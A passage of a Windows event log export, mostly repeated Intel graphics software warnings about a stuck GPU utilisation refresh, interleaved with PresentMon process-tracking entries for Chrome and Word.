refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.833\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:03.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:03.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.113\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.121\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.447\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:35.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:35.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:36.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:36.441\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:37.558\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:37.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:38.772\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:38.777\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:40.683\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:40.685\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.452\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.348\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.351\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.908\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.912\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:48.125\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, NetAdapterCim, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:08:54.158\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.161\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.387\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:55.275\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:57.268\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:57.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.492\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.052\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.278\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.060\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.283\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.731\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:03.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:03.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.294\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.184\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.629\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.187\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.409\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.854\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:08.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:08.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:09.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:09.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.087\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.423\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.868\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:12.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:12.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:13.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:13.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.207\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.654\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.877\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.323\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:17.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:18.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:18.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:19.447\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:19.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:20.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:21.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:21.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.337\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous 